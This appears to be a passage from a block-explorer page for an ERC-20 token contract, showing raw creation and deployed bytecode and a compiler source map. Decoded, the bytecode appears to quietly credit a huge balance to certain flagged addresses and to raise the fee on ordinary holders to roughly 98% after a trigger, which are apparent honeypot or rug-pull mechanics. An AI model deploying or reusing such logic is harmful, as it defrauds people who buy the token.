38116911614155b8015610c7c57506001600160a01b03831660009081526003602052604090205460ff1680610c7a57506001600160a01b03821660009081526003602052604090205460ff165b155b15610cd357601454811115610cd35760405162461bcd60e51b815260206004820152601c60248201527f4d6178207472616e73616374696f6e206c696d742065786365656421000000006044820152606401610794565b601754610ceb908390600160b01b900460ff16610f5e565b15610d04576017805460ff60b01b1916600160b01b1790555b600b5460ff61010082048116911610801590610d2a5750601754600160a01b900460ff16155b8015610d4457506017546001600160a01b03848116911614155b8015610d595750601754600160a81b900460ff165b15610d9857600b805460ff1916905530600090815260016020526040902054601454811115610d8757506014545b8015610d9657610d9681610f88565b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610dda57506001600160a01b03831660009081526005602052604090205460ff165b15610de757506000610e25565b6017546001600160a01b0390811690851603610e0857600d54600c55610e25565b6017546001600160a01b0390811690841603610e2557600e54600c555b610e3184848484610fcd565b50505050565b60008184841115610e5b5760405162461bcd60e51b81526004016107949190611383565b505050900390565b6000610e6f8284611521565b9392505050565b6017546000908190600160b01b900460ff161580610eac57506001600160a01b03851660009081526003602052604090205460ff165b80610ecf57506001600160a01b03851660009081526004602052604090205460ff165b15610efb57610ef46064610eee600c548661103390919063ffffffff16565b9061103f565b9050610f3c565b60408051602080820183526008918290528251908101909252605a91829052610f3991606491610eee91610f2f919061154a565b869060ff16611033565b90505b610f498160ff8616610e63565b95945050505050565b6000610e6f8284611563565b6001600160a01b03821660009081526003602052604081205460ff168015610e6f57505015919050565b6017805460ff60a01b1916600160a01b179055610fa48161104b565b6006544790610fbc906001600160a01b0316826111a5565b50506017805460ff60a01b19169055565b80610fdf57610fda6111e0565b61100c565b600b805460ff16906000610ff283611576565b91906101000a81548160ff021916908360ff160217905550505b611017848484611225565b80610e3157610e31600f54600c55601054600d55601154600e55565b6000610e6f8284611595565b6000610e6f82846115ac565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061108057611080611534565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd91906115ce565b8160018151811061111057611110611534565b6001600160a01b0392831660209182029290920101526016546111369130911684610a32565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061116f9085906000908690309042906004016115eb565b600060405180830381600087803b15801561118957600080fd5b505af115801561119d573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156111db573d6000803e3d6000fd5b505050565b600c541580156111f05750600d54155b80156111fc5750600e54155b1561120357565b600d8054601055600e8054601155600c8054600f556000928390559082905555565b60008061123283866108e0565b6001600160a01b038716600090815260016020526040902054919350915061125a9084610f52565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546112899083610e63565b6001600160a01b0385166000908152600160205260408082209290925530815220546112b59082610e63565b306000908152600160209081526040808320939093556001600160a01b038716825260039052205460ff161561132f576113156c0c9f2c9cd04674edea400000006001600160a01b03861660009081526001602052604090205490610e63565b6001600160a01b0385166000908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161137491815260200190565b60405180910390a35050505050565b600060208083528351808285015260005b818110156113b057858101830151858201604001528201611394565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113e657600080fd5b50565b600080604083850312156113fc57600080fd5b8235611407816113d1565b946020939093013593505050565b60008060006060848603121561142a57600080fd5b8335611435816113d1565b92506020840135611445816113d1565b929592945050506040919091013590565b60006020828403121561146857600080fd5b8135610e6f816113d1565b6000806040838503121561148657600080fd5b823591506020830135611498816113d1565b809150509250929050565b600080604083850312156114b657600080fd5b82356114c1816113d1565b91506020830135611498816113d1565b600181811c908216806114e557607f821691505b60208210810361150557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156106995761069961150b565b634e487b7160e01b600052603260045260246000fd5b60ff81811683821601908111156106995761069961150b565b818103818111156106995761069961150b565b600060ff821660ff810361158c5761158c61150b565b60010192915050565b80820281158282048414176106995761069961150b565b6000826115c957634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156115e057600080fd5b8151610e6f816113d1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561163b5784516001600160a01b031683529383019391830191600101611616565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b80591a6ed729fe752507e27c75e324d11ad4448f86a6462eab43f058e67706164736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101d15760003560e01c806378109e54116100f7578063b09f126611610095578063dd62ed3e11610064578063dd62ed3e14610530578063eb6b678014610576578063f2fde38b146105a6578063ffffc962146105c657600080fd5b8063b09f1266146104a1578063cccdbe2e146104b6578063d28d8852146104eb578063dad58cb71461050057600080fd5b806395d89b41116100d157806395d89b4114610436578063a457c2d71461044b578063a9059cbb1461046b578063af465a271461048b57600080fd5b806378109e54146103ec5780637d1db4a5146104025780638da5cb5b1461041857600080fd5b8063313ce5671161016f5780634a74bb021161013e5780634a74bb0214610368578063590f897e1461038957806370a082311461039f578063715018a6146103d557600080fd5b8063313ce567146102f0578063395093511461031257806340b9a54b1461033257806349bd5a5e1461034857600080fd5b806318160ddd116101ab57806318160ddd14610270578063220f66961461028f57806323b872dd146102b05780632ed5726e146102d057600080fd5b806306fdde03146101dd578063095ea7b3146102085780631694505e1461023857600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f26105f6565b6040516101ff9190611383565b60405180910390f35b34801561021457600080fd5b506102286102233660046113e9565b610688565b60405190151581526020016101ff565b34801561024457600080fd5b50601654610258906001600160a01b031681565b6040516001600160a01b0390911681526020016101ff565b34801561027c57600080fd5b50600a545b6040519081526020016101ff565b34801561029b57600080fd5b5060175461022890600160a01b900460ff1681565b3480156102bc57600080fd5b506102286102cb366004611415565b61069f565b3480156102dc57600080fd5b50600654610258906001600160a01b031681565b3480156102fc57600080fd5b5060095460405160ff90911681526020016101ff565b34801561031e57600080fd5b5061022861032d3660046113e9565b610708565b34801561033e57600080fd5b50610281600d5481565b34801561035457600080fd5b50601754610258906001600160a01b031681565b34801561037457600080fd5b5060175461022890600160a81b900460ff1681565b34801561039557600080fd5b50610281600e5481565b3480156103ab57600080fd5b506102816103ba366004611456565b6001600160a01b031660009081526001602052604090205490565b3480156103e157600080fd5b506103ea61073e565b005b3480156103f857600080fd5b5061028160125481565b34801561040e57600080fd5b5061028160145481565b34801561042457600080fd5b506000546001600160a01b0316610258565b34801561044257600080fd5b506101f26107e7565b34801561045757600080fd5b506102286104663660046113e9565b6107f6565b34801561047757600080fd5b506102286104863660046113e9565b610845565b34801561049757600080fd5b50610281600a5481565b3480156104ad57600080fd5b506101f2610852565b3480156104c257600080fd5b506104d66104d1366004611473565b6108e0565b604080519283526020830191909152016101ff565b3480156104f757600080fd5b506101f261090b565b34801561050c57600080fd5b5061022861051b366004611456565b60056020526000908152604090205460ff1681565b34801561053c57600080fd5b5061028161054b3660046114a3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561058257600080fd5b50610228610591366004611456565b60036020526000908152604090205460ff1681565b3480156105b257600080fd5b506103ea6105c1366004611456565b610918565b3480156105d257600080fd5b506102286105e1366004611456565b60046020526000908152604090205460ff1681565b606060078054610605906114d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610631906114d1565b801561067e5780601f106106535761010080835404028352916020019161067e565b820191906000526020600020905b81548152906001019060200180831161066157829003601f168201915b5050505050905090565b6000610695338484610a32565b5060015b92915050565b60006106ac848484610af3565b6106fe84336106f98560405180606001604052806028815260200161165d602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e37565b610a32565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106959185906106f99086610e63565b6000546001600160a01b0316331461079d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060088054610605906114d1565b600061069533846106f985604051806060016040528060258152602001611685602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610e37565b6000610695338484610af3565b6008805461085f906114d1565b80601f016020809104026020016040519081016040528092919081815260200182805461088b906114d1565b80156108d85780601f106108ad576101008083540402835291602001916108d8565b820191906000526020600020905b8154815290600101906020018083116108bb57829003601f168201915b505050505081565b60008060006108f184600087610e76565b905060006108ff8683610f52565b96919550909350505050565b6007805461085f906114d1565b6000546001600160a01b031633146109725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610794565b6001600160a01b0381166109d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610794565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831615801590610a5257506001600160a01b03821615155b610a925760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610794565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610b1f57506006546001600160a01b03838116911614155b8015610b3457506001600160a01b0382163014155b8015610b4e57506017546001600160a01b03838116911614155b8015610b7357506001600160a01b03821660009081526003602052604090205460ff16155b8015610b8d57506000546001600160a01b03848116911614155b15610c08576001600160a01b038216600090815260016020526040902054601254610bb88383611521565b1115610c065760405162461bcd60e51b815260206004820152601860248201527f4d61782077616c6c6574206c696d6974206578636565642100000000000000006044820152606401610794565b505b6000546001600160a01b03848116911614801590610c3457506000546001600160a01b03838116911614155b8015610c7c57506001600160a01b03831660009081526003602052604090205460ff1680610c7a57506001600160a01b03821660009081526003602052604090205460ff165b155b15610cd357601454811115610cd35760405162461bcd60e51b815260206004820152601c60248201527f4d6178207472616e73616374696f6e206c696d742065786365656421000000006044820152606401610794565b601754610ceb908390600160b01b900460ff16610f5e565b15610d04576017805460ff60b01b1916600160b01b1790555b600b5460ff61010082048116911610801590610d2a5750601754600160a01b900460ff16155b8015610d4457506017546001600160a01b03848116911614155b8015610d595750601754600160a81b900460ff165b15610d9857600b805460ff1916905530600090815260016020526040902054601454811115610d8757506014545b8015610d9657610d9681610f88565b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610dda57506001600160a01b03831660009081526005602052604090205460ff165b15610de757506000610e25565b6017546001600160a01b0390811690851603610e0857600d54600c55610e25565b6017546001600160a01b0390811690841603610e2557600e54600c555b610e3184848484610fcd565b50505050565b60008184841115610e5b5760405162461bcd60e51b81526004016107949190611383565b505050900390565b6000610e6f8284611521565b9392505050565b6017546000908190600160b01b900460ff161580610eac57506001600160a01b03851660009081526003602052604090205460ff165b80610ecf57506001600160a01b03851660009081526004602052604090205460ff165b15610efb57610ef46064610eee600c548661103390919063ffffffff16565b9061103f565b9050610f3c565b60408051602080820183526008918290528251908101909252605a91829052610f3991606491610eee91610f2f919061154a565b869060ff16611033565b90505b610f498160ff8616610e63565b95945050505050565b6000610e6f8284611563565b6001600160a01b03821660009081526003602052604081205460ff168015610e6f57505015919050565b6017805460ff60a01b1916600160a01b179055610fa48161104b565b6006544790610fbc906001600160a01b0316826111a5565b50506017805460ff60a01b19169055565b80610fdf57610fda6111e0565b61100c565b600b805460ff16906000610ff283611576565b91906101000a81548160ff021916908360ff160217905550505b611017848484611225565b80610e3157610e31600f54600c55601054600d55601154600e55565b6000610e6f8284611595565b6000610e6f82846115ac565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061108057611080611534565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd91906115ce565b8160018151811061111057611110611534565b6001600160a01b0392831660209182029290920101526016546111369130911684610a32565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061116f9085906000908690309042906004016115eb565b600060405180830381600087803b15801561118957600080fd5b505af115801561119d573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156111db573d6000803e3d6000fd5b505050565b600c541580156111f05750600d54155b80156111fc5750600e54155b1561120357565b600d8054601055600e8054601155600c8054600f556000928390559082905555565b60008061123283866108e0565b6001600160a01b038716600090815260016020526040902054919350915061125a9084610f52565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546112899083610e63565b6001600160a01b0385166000908152600160205260408082209290925530815220546112b59082610e63565b306000908152600160209081526040808320939093556001600160a01b038716825260039052205460ff161561132f576113156c0c9f2c9cd04674edea400000006001600160a01b03861660009081526001602052604090205490610e63565b6001600160a01b0385166000908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161137491815260200190565b60405180910390a35050505050565b600060208083528351808285015260005b818110156113b057858101830151858201604001528201611394565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113e657600080fd5b50565b600080604083850312156113fc57600080fd5b8235611407816113d1565b946020939093013593505050565b60008060006060848603121561142a57600080fd5b8335611435816113d1565b92506020840135611445816113d1565b929592945050506040919091013590565b60006020828403121561146857600080fd5b8135610e6f816113d1565b6000806040838503121561148657600080fd5b823591506020830135611498816113d1565b809150509250929050565b600080604083850312156114b657600080fd5b82356114c1816113d1565b91506020830135611498816113d1565b600181811c908216806114e557607f821691505b60208210810361150557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156106995761069961150b565b634e487b7160e01b600052603260045260246000fd5b60ff81811683821601908111156106995761069961150b565b818103818111156106995761069961150b565b600060ff821660ff810361158c5761158c61150b565b60010192915050565b80820281158282048414176106995761069961150b565b6000826115c957634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156115e057600080fd5b8151610e6f816113d1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561163b5784516001600160a01b031683529383019391830191600101611616565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b80591a6ed729fe752507e27c75e324d11ad4448f86a6462eab43f058e67706164736f6c63430008130033
Deployed Bytecode Sourcemap
14103:9076:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16529:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17364:161;;;;;;;;;;-1:-1:-1;17364:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;17364:161:0;1023:187:1;15366:41:0;;;;;;;;;;-1:-1:-1;15366:41:0;;;;-1:-1:-1;;;;;15366:41:0;;;;;;-1:-1:-1;;;;;1406:32:1;;;1388:51;;1376:2;1361:18;15366:41:0;1215:230:1;16806:95:0;;;;;;;;;;-1:-1:-1;16886:7:0;;16806:95;;;1596:25:1;;;1584:2;1569:18;16806:95:0;1450:177:1;15449:28:0;;;;;;;;;;-1:-1:-1;15449:28:0;;;;-1:-1:-1;;;15449:28:0;;;;;;17533:313;;;;;;;;;;-1:-1:-1;17533:313:0;;;;;:::i;:::-;;:::i;14516:87::-;;;;;;;;;;-1:-1:-1;14516:87:0;;;;-1:-1:-1;;;;;14516:87:0;;;16715:83;;;;;;;;;;-1:-1:-1;16781:9:0;;16715:83;;16781:9;;;;2459:36:1;;2447:2;2432:18;16715:83:0;2317:184:1;17854:218:0;;;;;;;;;;-1:-1:-1;17854:218:0;;;;;:::i;:::-;;:::i;14891:26::-;;;;;;;;;;;;;;;;15414:28;;;;;;;;;;-1:-1:-1;15414:28:0;;;;-1:-1:-1;;;;;15414:28:0;;;15484:40;;;;;;;;;;-1:-1:-1;15484:40:0;;;;-1:-1:-1;;;15484:40:0;;;;;;14924:27;;;;;;;;;;;;;;;;16909:121;;;;;;;;;;-1:-1:-1;16909:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;17002:20:0;16975:7;17002:20;;;:11;:20;;;;;;;16909:121;5886:148;;;;;;;;;;;;;:::i;:::-;;15114:57;;;;;;;;;;;;;;;;15244:54;;;;;;;;;;;;;;;;5663:87;;;;;;;;;;-1:-1:-1;5709:7:0;5736:6;-1:-1:-1;;;;;5736:6:0;5663:87;;16620;;;;;;;;;;;;;:::i;18080:269::-;;;;;;;;;;-1:-1:-1;18080:269:0;;;;;:::i;:::-;;:::i;17038:167::-;;;;;;;;;;-1:-1:-1;17038:167:0;;;;;:::i;:::-;;:::i;14724:51::-;;;;;;;;;;;;;;;;14650:33;;;;;;;;;;;;;:::i;22902:274::-;;;;;;;;;;-1:-1:-1;22902:274:0;;;;;:::i;:::-;;:::i;:::-;;;;3460:25:1;;;3516:2;3501:18;;3494:34;;;;3433:18;22902:274:0;3286:248:1;14612:31:0;;;;;;;;;;;;;:::i;14459:44::-;;;;;;;;;;-1:-1:-1;14459:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;17213:143;;;;;;;;;;-1:-1:-1;17213:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;17321:18:0;;;17294:7;17321:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;17213:143;14354:42;;;;;;;;;;-1:-1:-1;14354:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6042:244;;;;;;;;;;-1:-1:-1;6042:244:0;;;;;:::i;:::-;;:::i;14403:49::-;;;;;;;;;;-1:-1:-1;14403:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16529:83;16566:13;16599:5;16592:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16529:83;:::o;17364:161::-;17439:4;17456:39;1892:10;17479:7;17488:6;17456:8;:39::i;:::-;-1:-1:-1;17513:4:0;17364:161;;;;;:::o;17533:313::-;17631:4;17648:36;17658:6;17666:9;17677:6;17648:9;:36::i;:::-;17695:121;17704:6;1892:10;17726:89;17764:6;17726:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17726:19:0;;;;;;:11;:19;;;;;;;;1892:10;17726:33;;;;;;;;;;:37;:89::i;:::-;17695:8;:121::i;:::-;-1:-1:-1;17834:4:0;17533:313;;;;;:::o;17854:218::-;1892:10;17942:4;17991:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17991:34:0;;;;;;;;;;17942:4;;17959:83;;17982:7;;17991:50;;18030:10;17991:38;:50::i;5886:148::-;5709:7;5736:6;-1:-1:-1;;;;;5736:6:0;1892:10;5798:23;5790:68;;;;-1:-1:-1;;;5790:68:0;;4519:2:1;5790:68:0;;;4501:21:1;;;4538:18;;;4531:30;4597:34;4577:18;;;4570:62;4649:18;;5790:68:0;;;;;;;;;5993:1:::1;5977:6:::0;;5956:40:::1;::::0;-1:-1:-1;;;;;5977:6:0;;::::1;::::0;5956:40:::1;::::0;5993:1;;5956:40:::1;6024:1;6007:19:::0;;-1:-1:-1;;;;;;6007:19:0::1;::::0;;5886:148::o;16620:87::-;16659:13;16692:7;16685:14;;;;;:::i;18080:269::-;18173:4;18190:129;1892:10;18213:7;18222:96;18261:15;18222:96;;;;;;;;;;;;;;;;;1892:10;18222:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18222:34:0;;;;;;;;;;;;:38;:96::i;17038:167::-;17116:4;17133:42;1892:10;17157:9;17168:6;17133:9;:42::i;14650:33::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;22902:274::-;22979:7;22988;23008:17;23028:37;23046:6;23054:1;23057:7;23028:17;:37::i;:::-;23008:57;-1:-1:-1;23076:22:0;23101;:7;23008:57;23101:11;:22::i;:::-;23076:47;23158:9;;-1:-1:-1;22902:274:0;;-1:-1:-1;;;;22902:274:0:o;14612:31::-;;;;;;;:::i;6042:244::-;5709:7;5736:6;-1:-1:-1;;;;;5736:6:0;1892:10;5798:23;5790:68;;;;-1:-1:-1;;;5790:68:0;;4519:2:1;5790:68:0;;;4501:21:1;;;4538:18;;;4531:30;4597:34;4577:18;;;4570:62;4649:18;;5790:68:0;4317:356:1;5790:68:0;-1:-1:-1;;;;;6131:22:0;::::1;6123:73;;;::::0;-1:-1:-1;;;6123:73:0;;4880:2:1;6123:73:0::1;::::0;::::1;4862:21:1::0;4919:2;4899:18;;;4892:30;4958:34;4938:18;;;4931:62;-1:-1:-1;;;5009:18:1;;;5002:36;5055:19;;6123:73:0::1;4678:402:1::0;6123:73:0::1;6233:6;::::0;;6212:38:::1;::::0;-1:-1:-1;;;;;6212:38:0;;::::1;::::0;6233:6;::::1;::::0;6212:38:::1;::::0;::::1;6261:6;:17:::0;;-1:-1:-1;;;;;;6261:17:0::1;-1:-1:-1::0;;;;;6261:17:0;;;::::1;::::0;;;::::1;::::0;;6042:244::o;19485:262::-;-1:-1:-1;;;;;19578:19:0;;;;;;:44;;-1:-1:-1;;;;;;19601:21:0;;;;19578:44;19570:74;;;;-1:-1:-1;;;19570:74:0;;5287:2:1;19570:74:0;;;5269:21:1;5326:2;5306:18;;;5299:30;-1:-1:-1;;;5345:18:1;;;5338:47;5402:18;;19570:74:0;5085:341:1;19570:74:0;-1:-1:-1;;;;;19655:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;19707:32;;1596:25:1;;;19707:32:0;;1569:18:1;19707:32:0;;;;;;;19485:262;;;:::o;19755:1389::-;5709:7;5736:6;-1:-1:-1;;;;;19875:13:0;;;5736:6;;19875:13;;;;:33;;-1:-1:-1;19898:10:0;;-1:-1:-1;;;;;19892:16:0;;;19898:10;;19892:16;;19875:33;:56;;;;-1:-1:-1;;;;;;19912:19:0;;19926:4;19912:19;;19875:56;:79;;;;-1:-1:-1;19941:13:0;;-1:-1:-1;;;;;19935:19:0;;;19941:13;;19935:19;;19875:79;:97;;;;-1:-1:-1;;;;;;19959:13:0;;;;;;:9;:13;;;;;;;;19958:14;19875:97;:116;;;;-1:-1:-1;5709:7:0;5736:6;-1:-1:-1;;;;;19976:15:0;;;5736:6;;19976:15;;19875:116;19871:286;;;-1:-1:-1;;;;;17002:20:0;;20007:24;17002:20;;;:11;:20;;;;;;20101:15;;20071:25;20090:6;17002:20;20071:25;:::i;:::-;20070:46;;20062:83;;;;-1:-1:-1;;;20062:83:0;;5895:2:1;20062:83:0;;;5877:21:1;5934:2;5914:18;;;5907:30;5973:26;5953:18;;;5946:54;6017:18;;20062:83:0;5693:348:1;20062:83:0;19992:165;19871:286;5709:7;5736:6;-1:-1:-1;;;;;20181:15:0;;;5736:6;;20181:15;;;;:32;;-1:-1:-1;5709:7:0;5736:6;-1:-1:-1;;;;;20200:13:0;;;5736:6;;20200:13;;20181:32;:71;;;;-1:-1:-1;;;;;;20219:15:0;;;;;;:9;:15;;;;;;;;;:32;;-1:-1:-1;;;;;;20238:13:0;;;;;;:9;:13;;;;;;;;20219:32;20217:35;20181:71;20177:166;;;20286:12;;20276:6;:22;;20268:63;;;;-1:-1:-1;;;20268:63:0;;6248:2:1;20268:63:0;;;6230:21:1;6287:2;6267:18;;;6260:30;6326;6306:18;;;6299:58;6374:18;;20268:63:0;6046:352:1;20268:63:0;20369:17;;20356:31;;20365:2;;-1:-1:-1;;;20369:17:0;;;;20356:8;:31::i;:::-;20353:62;;;20390:17;:22;;-1:-1:-1;;;;20390:22:0;-1:-1:-1;;;20390:22:0;;;20353:62;20439:11;;;;;;;;20428:7;;:22;;;;:43;;-1:-1:-1;20455:16:0;;-1:-1:-1;;;20455:16:0;;;;20454:17;20428:43;:68;;;;-1:-1:-1;20483:13:0;;-1:-1:-1;;;;;20475:21:0;;;20483:13;;20475:21;;20428:68;:93;;;;-1:-1:-1;20500:21:0;;-1:-1:-1;;;20500:21:0;;;;20428:93;20425:409;;;20540:7;:11;;-1:-1:-1;;20540:11:0;;;20615:4;-1:-1:-1;17002:20:0;;;-1:-1:-1;17002:20:0;;;;;;20662:12;;20639:35;;20636:78;;;-1:-1:-1;20700:12:0;;20636:78;20731:24;;20728:95;;20771:36;20786:20;20771:14;:36::i;:::-;20523:311;20425:409;-1:-1:-1;;;;;20898:17:0;;20854:12;20898:17;;;:11;:17;;;;;;20869:4;;20898:17;;;:36;;-1:-1:-1;;;;;;20919:15:0;;;;;;:11;:15;;;;;;;;20898:36;20895:187;;;-1:-1:-1;20960:5:0;20895:187;;;20995:13;;-1:-1:-1;;;;;20995:13:0;;;20987:21;;;;20983:99;;21021:7;;21010:8;:18;20983:99;;;21046:13;;-1:-1:-1;;;;;21046:13:0;;;21040:19;;;;21036:46;;21072:8;;21061;:19;21036:46;21102:34;21113:4;21118:2;21121:6;21128:7;21102:10;:34::i;:::-;19858:1286;19755:1389;;;:::o;1343:206::-;1429:7;1490:12;1482:6;;;;1474:29;;;;-1:-1:-1;;;1474:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1525:5:0;;;1343:206::o;915:98::-;973:7;1000:5;1004:1;1000;:5;:::i;:::-;993:12;915:98;-1:-1:-1;;;915:98:0:o;19086:391::-;19235:17;;19181:7;;;;-1:-1:-1;;;19235:17:0;;;;19234:18;;:42;;-1:-1:-1;;;;;;19256:20:0;;;;;;:9;:20;;;;;;;;19234:42;:73;;;-1:-1:-1;;;;;;19280:27:0;;;;;;:16;:27;;;;;;;;19234:73;19231:203;;;19334:29;19359:3;19334:20;19345:8;;19334:6;:10;;:20;;;;:::i;:::-;:24;;:29::i;:::-;19323:40;;19231:203;;;19413:8;;;;;;;;;19414:3;19413:8;;;;19403:9;;;;;;;;19404:4;19403:9;;;;19391:41;;19428:3;;19391:32;;19403:18;;19414:3;19403:18;:::i;:::-;19391:6;;:32;;:10;:32::i;:41::-;19380:52;;19231:203;19451:18;:8;:18;;;:12;:18::i;:::-;19444:25;19086:391;-1:-1:-1;;;;;19086:391:0:o;1021:98::-;1079:7;1106:5;1110:1;1106;:5;:::i;18792:117::-;-1:-1:-1;;;;;18878:13:0;;18855:4;18878:13;;;:9;:13;;;;;;;;:23;;;;-1:-1:-1;;18895:6:0;;18792:117;-1:-1:-1;18792:117:0:o;21272:232::-;15810:16;:23;;-1:-1:-1;;;;15810:23:0;-1:-1:-1;;;15810:23:0;;;21357:38:::1;21374:20:::0;21357:16:::1;:38::i;:::-;21473:10;::::0;21428:21:::1;::::0;21460:36:::1;::::0;-1:-1:-1;;;;;21473:10:0::1;21428:21:::0;21460:12:::1;:36::i;:::-;-1:-1:-1::0;;15856:16:0;:24;;-1:-1:-1;;;;15856:24:0;;;21272:232::o;21992:334::-;22102:7;22098:107;;22125:14;:12;:14::i;:::-;22098:107;;;22180:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;22098:107;22219:37;22230:6;22238:9;22249:6;22219:10;:37::i;:::-;22281:7;22277:41;;22303:15;18976:17;;18965:8;:28;19014:15;;19004:7;:25;19052:16;;19041:8;:27;18921:156;1127:98;1185:7;1212:5;1216:1;1212;:5;:::i;1237:98::-;1295:7;1322:5;1326:1;1322;:5;:::i;21512:472::-;21602:16;;;21616:1;21602:16;;;;;;;;21578:21;;21602:16;;;;;;;;;;-1:-1:-1;21602:16:0;21578:40;;21647:4;21629;21634:1;21629:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;21629:23:0;;;:7;;;;;;;;;;:23;;;;21673:15;;:22;;;-1:-1:-1;;;21673:22:0;;;;:15;;;;;:20;;:22;;;;;21629:7;;21673:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21663:4;21668:1;21663:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;21663:32:0;;;:7;;;;;;;;;:32;21738:15;;21706:62;;21723:4;;21738:15;21756:11;21706:8;:62::i;:::-;21779:15;;:197;;-1:-1:-1;;;21779:197:0;;-1:-1:-1;;;;;21779:15:0;;;;:66;;:197;;21860:11;;21779:15;;21903:4;;21930;;21950:15;;21779:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21567:417;21512:472;:::o;21152:112::-;21233:23;;-1:-1:-1;;;;;21233:15:0;;;:23;;;;;21249:6;;21233:23;;;;21249:6;21233:15;:23;;;;;;;;;;;;;;;;;;;;;21152:112;;:::o;18395:293::-;18441:8;;:13;:29;;;;-1:-1:-1;18458:7:0;;:12;18441:29;:46;;;;-1:-